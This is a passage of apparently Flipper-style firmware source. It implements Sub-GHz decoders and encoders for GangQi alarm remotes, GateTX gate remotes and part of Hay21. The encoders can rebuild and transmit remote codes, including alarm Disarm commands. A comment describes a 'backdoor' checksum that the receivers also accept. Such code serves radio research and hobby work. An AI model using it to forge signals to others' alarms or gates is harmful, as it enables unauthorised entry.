uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
uint8_t serial_high = (uint8_t)(serial >> 8);
uint8_t serial_low = (uint8_t)(serial & 0xFF);
uint8_t bytesum = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
instance->generic.data = (instance->generic.data >> 14) << 14 | (instance->generic.btn << 10) |
(bytesum << 2);
size_t index = 0;
// Send key and GAP between parcels
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
// Send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_long);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
subghz_protocol_gangqi_const.te_delta);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_short);
}
} else {
// Send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_short);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
subghz_protocol_gangqi_const.te_delta);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_long);
}
}
}
instance->encoder.size_upload = index;
return;
}
/**
* Analysis of received data and parsing serial number
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_gangqi_remote_controller(SubGhzBlockGeneric* instance) {
instance->btn = (instance->data >> 10) & 0xF;
instance->serial = (instance->data & 0xFFFFF0000) >> 16;
// Save original button for later use
// if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(instance->btn);
// }
// subghz_custom_btn_set_max(3);
// GangQi Decoder
// 09.2024 - @xMasterX (MMX) (last update - bytesum calculation at 02.2025)
// Thanks @Skorpionm for support!
// Thanks @Drone1950 and @mishamyte (who spent 2 weeks on this) for making this work properly
// Example of correct bytesum calculation
// 0xC8 - serial_high - serial_low - constant_and_button
}
SubGhzProtocolStatus
subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderGangQi* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_gangqi_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
subghz_protocol_gangqi_remote_controller(&instance->generic);
subghz_protocol_encoder_gangqi_get_upload(instance);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Key");
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_gangqi_stop(void* context) {
SubGhzProtocolEncoderGangQi* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_gangqi_yield(void* context) {
SubGhzProtocolEncoderGangQi* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderGangQi* instance = malloc(sizeof(SubGhzProtocolDecoderGangQi));
instance->base.protocol = &subghz_protocol_gangqi;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_gangqi_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderGangQi* instance = context;
free(instance);
}
void subghz_protocol_decoder_gangqi_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderGangQi* instance = context;
instance->decoder.parser_step = GangQiDecoderStepReset;
}
void subghz_protocol_decoder_gangqi_feed(void* context, bool level, volatile uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderGangQi* instance = context;
switch(instance->decoder.parser_step) {
case GangQiDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
subghz_protocol_gangqi_const.te_delta * 3)) {
//Found GAP
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
}
break;
case GangQiDecoderStepSaveDuration:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = GangQiDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = GangQiDecoderStepReset;
}
break;
case GangQiDecoderStepCheckDuration:
if(!level) {
// Bit 0 is short and long timing
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
subghz_protocol_gangqi_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long) <
subghz_protocol_gangqi_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
// Bit 1 is long and short timing
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
subghz_protocol_gangqi_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_short) <
subghz_protocol_gangqi_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
} else if(
// End of the key
(DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
subghz_protocol_gangqi_const.te_delta * 3)) {
//Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
if((DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
subghz_protocol_gangqi_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
}
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
subghz_protocol_gangqi_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
}
// If got 34 bits key reading is finished
if(instance->decoder.decode_count_bit ==
subghz_protocol_gangqi_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = GangQiDecoderStepReset;
} else {
instance->decoder.parser_step = GangQiDecoderStepReset;
}
} else {
instance->decoder.parser_step = GangQiDecoderStepReset;
}
break;
}
}
/**
* Get button name.
* @param btn Button number, 4 bit
*/
static const char* subghz_protocol_gangqi_get_button_name(uint8_t btn) {
const char* name_btn[16] = {
"Unknown",
"Exit settings",
"Volume setting",
"0x3",
"Vibro sens. setting",
"Settings mode",
"Ringtone setting",
"Ring", // D
"0x8",
"0x9",
"0xA",
"Alarm", // C
"0xC",
"Arm", // A
"Disarm", // B
"0xF"};
return btn <= 0xf ? name_btn[btn] : name_btn[0];
}
uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderGangQi* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderGangQi* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderGangQi* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_gangqi_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderGangQi* instance = context;
// Parse serial
subghz_protocol_gangqi_remote_controller(&instance->generic);
// Get byte sum
uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
uint8_t serial_high = (uint8_t)(serial >> 8);
uint8_t serial_low = (uint8_t)(serial & 0xFF);
// Type 1 is what original remotes use, type 2 is "backdoor" sum that receiver accepts too
uint8_t sum_type1 = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
uint8_t sum_type2 = (uint8_t)(0x02 + serial_high + serial_low + const_and_button);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %db\r\n"
"Key: 0x%X%08lX\r\n"
"Serial: 0x%05lX\r\n"
"Sum: 0x%02X Sum2: 0x%02X\r\n"
"Btn: 0x%01X - %s\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint8_t)(instance->generic.data >> 32),
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
instance->generic.serial,
sum_type1,
sum_type2,
instance->generic.btn,
subghz_protocol_gangqi_get_button_name(instance->generic.btn));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_GANGQI_NAME "GangQi"
typedef struct SubGhzProtocolDecoderGangQi SubGhzProtocolDecoderGangQi;
typedef struct SubGhzProtocolEncoderGangQi SubGhzProtocolEncoderGangQi;
extern const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder;
extern const SubGhzProtocol subghz_protocol_gangqi;
/**
* Allocate SubGhzProtocolEncoderGangQi.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderGangQi* pointer to a SubGhzProtocolEncoderGangQi instance
*/
void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderGangQi.
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
*/
void subghz_protocol_encoder_gangqi_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
*/
void subghz_protocol_encoder_gangqi_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_gangqi_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderGangQi.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderGangQi* pointer to a SubGhzProtocolDecoderGangQi instance
*/
void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderGangQi.
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
*/
void subghz_protocol_decoder_gangqi_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderGangQi.
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
*/
void subghz_protocol_decoder_gangqi_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_gangqi_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderGangQi.
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderGangQi.
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
* @param output Resulting text
*/
void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output);
@@ -0,0 +1,331 @@
#include "gate_tx.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#define TAG "SubGhzProtocolGateTx"
static const SubGhzBlockConst subghz_protocol_gate_tx_const = {
.te_short = 350,
.te_long = 700,
.te_delta = 100,
.min_count_bit_for_found = 24,
};
struct SubGhzProtocolDecoderGateTx {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderGateTx {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
GateTXDecoderStepReset = 0,
GateTXDecoderStepFoundStartBit,
GateTXDecoderStepSaveDuration,
GateTXDecoderStepCheckDuration,
} GateTXDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_gate_tx_decoder = {
.alloc = subghz_protocol_decoder_gate_tx_alloc,
.free = subghz_protocol_decoder_gate_tx_free,
.feed = subghz_protocol_decoder_gate_tx_feed,
.reset = subghz_protocol_decoder_gate_tx_reset,
.get_hash_data = subghz_protocol_decoder_gate_tx_get_hash_data,
.serialize = subghz_protocol_decoder_gate_tx_serialize,
.deserialize = subghz_protocol_decoder_gate_tx_deserialize,
.get_string = subghz_protocol_decoder_gate_tx_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_gate_tx_encoder = {
.alloc = subghz_protocol_encoder_gate_tx_alloc,
.free = subghz_protocol_encoder_gate_tx_free,
.deserialize = subghz_protocol_encoder_gate_tx_deserialize,
.stop = subghz_protocol_encoder_gate_tx_stop,
.yield = subghz_protocol_encoder_gate_tx_yield,
};
const SubGhzProtocol subghz_protocol_gate_tx = {
.name = SUBGHZ_PROTOCOL_GATE_TX_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_gate_tx_decoder,
.encoder = &subghz_protocol_gate_tx_encoder,
};
void* subghz_protocol_encoder_gate_tx_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderGateTx* instance = malloc(sizeof(SubGhzProtocolEncoderGateTx));
instance->base.protocol = &subghz_protocol_gate_tx;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 52; //max 24bit*2 + 2 (start, stop)
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_gate_tx_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderGateTx* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderGateTx instance
* @return true On success
*/
static bool subghz_protocol_encoder_gate_tx_get_upload(SubGhzProtocolEncoderGateTx* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
//Send header
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short * 49);
//Send start bit
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderGateTx* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_gate_tx_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_gate_tx_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_gate_tx_stop(void* context) {
SubGhzProtocolEncoderGateTx* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_gate_tx_yield(void* context) {
SubGhzProtocolEncoderGateTx* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_gate_tx_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderGateTx* instance = malloc(sizeof(SubGhzProtocolDecoderGateTx));
instance->base.protocol = &subghz_protocol_gate_tx;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_gate_tx_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderGateTx* instance = context;
free(instance);
}
void subghz_protocol_decoder_gate_tx_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderGateTx* instance = context;
instance->decoder.parser_step = GateTXDecoderStepReset;
}
void subghz_protocol_decoder_gate_tx_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderGateTx* instance = context;
switch(instance->decoder.parser_step) {
case GateTXDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short * 47) <
subghz_protocol_gate_tx_const.te_delta * 47)) {
//Found Preambula
instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
}
break;
case GateTXDecoderStepFoundStartBit:
if(level && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
subghz_protocol_gate_tx_const.te_delta * 3)) {
//Found start bit
instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = GateTXDecoderStepReset;
}
break;
case GateTXDecoderStepSaveDuration:
if(!level) {
if(duration >= ((uint32_t)subghz_protocol_gate_tx_const.te_short * 10 +
subghz_protocol_gate_tx_const.te_delta)) {
instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
if(instance->decoder.decode_count_bit ==
subghz_protocol_gate_tx_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
break;
} else {
instance->decoder.te_last = duration;
instance->decoder.parser_step = GateTXDecoderStepCheckDuration;
}
}
break;
case GateTXDecoderStepCheckDuration:
if(level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_short) <
subghz_protocol_gate_tx_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
subghz_protocol_gate_tx_const.te_delta * 3)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_long) <
subghz_protocol_gate_tx_const.te_delta * 3) &&
(DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short) <
subghz_protocol_gate_tx_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = GateTXDecoderStepReset;
}
} else {
instance->decoder.parser_step = GateTXDecoderStepReset;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_gate_tx_check_remote_controller(SubGhzBlockGeneric* instance) {
uint32_t code_found_reverse =
subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
instance->serial = (code_found_reverse & 0xFF) << 12 |
((code_found_reverse >> 8) & 0xFF) << 4 |
((code_found_reverse >> 20) & 0x0F);
instance->btn = ((code_found_reverse >> 16) & 0x0F);
}
uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderGateTx* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_gate_tx_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderGateTx* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderGateTx* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_gate_tx_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_gate_tx_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderGateTx* instance = context;
subghz_protocol_gate_tx_check_remote_controller(&instance->generic);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = false;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%06lX\r\n"
"Sn:%05lX Btn:%X\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data & 0xFFFFFF),
instance->generic.serial,
instance->generic.btn);
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_GATE_TX_NAME "GateTX"
typedef struct SubGhzProtocolDecoderGateTx SubGhzProtocolDecoderGateTx;
typedef struct SubGhzProtocolEncoderGateTx SubGhzProtocolEncoderGateTx;
extern const SubGhzProtocolDecoder subghz_protocol_gate_tx_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_gate_tx_encoder;
extern const SubGhzProtocol subghz_protocol_gate_tx;
/**
* Allocate SubGhzProtocolEncoderGateTx.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderGateTx* pointer to a SubGhzProtocolEncoderGateTx instance
*/
void* subghz_protocol_encoder_gate_tx_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderGateTx.
* @param context Pointer to a SubGhzProtocolEncoderGateTx instance
*/
void subghz_protocol_encoder_gate_tx_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderGateTx instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderGateTx instance
*/
void subghz_protocol_encoder_gate_tx_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderGateTx instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_gate_tx_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderGateTx.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderGateTx* pointer to a SubGhzProtocolDecoderGateTx instance
*/
void* subghz_protocol_decoder_gate_tx_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderGateTx.
* @param context Pointer to a SubGhzProtocolDecoderGateTx instance
*/
void subghz_protocol_decoder_gate_tx_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderGateTx.
* @param context Pointer to a SubGhzProtocolDecoderGateTx instance
*/
void subghz_protocol_decoder_gate_tx_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderGateTx instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_gate_tx_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderGateTx instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderGateTx.
* @param context Pointer to a SubGhzProtocolDecoderGateTx instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_gate_tx_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderGateTx.
* @param context Pointer to a SubGhzProtocolDecoderGateTx instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderGateTx instance
* @param output Resulting text
*/
void subghz_protocol_decoder_gate_tx_get_string(void* context, FuriString* output);
@@ -0,0 +1,14 @@
#pragma once
#include <lib/flipper_application/flipper_application.h>
#include <lib/subghz/types.h>
#include "protocol_items.h"
#define GDR_PROTOCOL_PLUGIN_APP_ID "gdr_protocol_plugins"
#define GDR_PROTOCOL_PLUGIN_API_VERSION 1U
typedef struct {
const char* plugin_name;
GDRProtocolRegistryFilter filter;
const SubGhzProtocolRegistry* registry;
} GDRProtocolPlugin;
@@ -0,0 +1,492 @@
#include "hay21.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "SubGhzProtocolHay21"
static const SubGhzBlockConst subghz_protocol_hay21_const = {
.te_short = 300,
.te_long = 700,
.te_delta = 150,
.min_count_bit_for_found = 21,
};
struct SubGhzProtocolDecoderHay21 {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderHay21 {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
Hay21DecoderStepReset = 0,
Hay21DecoderStepSaveDuration,
Hay21DecoderStepCheckDuration,
} Hay21DecoderStep;
const SubGhzProtocolDecoder subghz_protocol_hay21_decoder = {
.alloc = subghz_protocol_decoder_hay21_alloc,
.free = subghz_protocol_decoder_hay21_free,
.feed = subghz_protocol_decoder_hay21_feed,
.reset = subghz_protocol_decoder_hay21_reset,
.get_hash_data = subghz_protocol_decoder_hay21_get_hash_data,
.serialize = subghz_protocol_decoder_hay21_serialize,
.deserialize = subghz_protocol_decoder_hay21_deserialize,
.get_string = subghz_protocol_decoder_hay21_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_hay21_encoder = {
.alloc = subghz_protocol_encoder_hay21_alloc,
.free = subghz_protocol_encoder_hay21_free,
.deserialize = subghz_protocol_encoder_hay21_deserialize,
.stop = subghz_protocol_encoder_hay21_stop,
.yield = subghz_protocol_encoder_hay21_yield,
};
const SubGhzProtocol subghz_protocol_hay21 = {
.name = SUBGHZ_PROTOCOL_HAY21_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
